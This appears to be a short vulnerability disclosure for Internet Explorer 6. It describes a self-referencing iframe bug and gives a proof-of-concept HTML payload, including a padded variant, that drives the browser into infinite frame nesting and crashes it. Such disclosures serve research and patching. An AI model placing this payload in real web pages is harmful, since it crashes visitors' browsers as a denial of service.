=======
Product
=======
A popular Web browser, created by Microsoft,
used to view pages on the World Wide Web.

===
Bug
===
Iframe element(TAG) creates an inline frame
that contains another document. If you use the
character '?' as the document , Internet explorer
starts an infinite loop of IFrames inside Iframes ,
this causes IE's crash.


=====================
Proof Of Concept Code
=====================

Create a web page and you add an IFRAME which
points to --> ?
  
Example : < iframe src= " ? " >
   
Crashes completely IE 6 in about 20 secs and consumes
more than 24 MBs of RAM and uses 99% of the CPU power.
Additionally, memory consumption and Crashing time
can vary , depending on how many characters you add
after the '?' character.

< iframe src= " ?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA " >
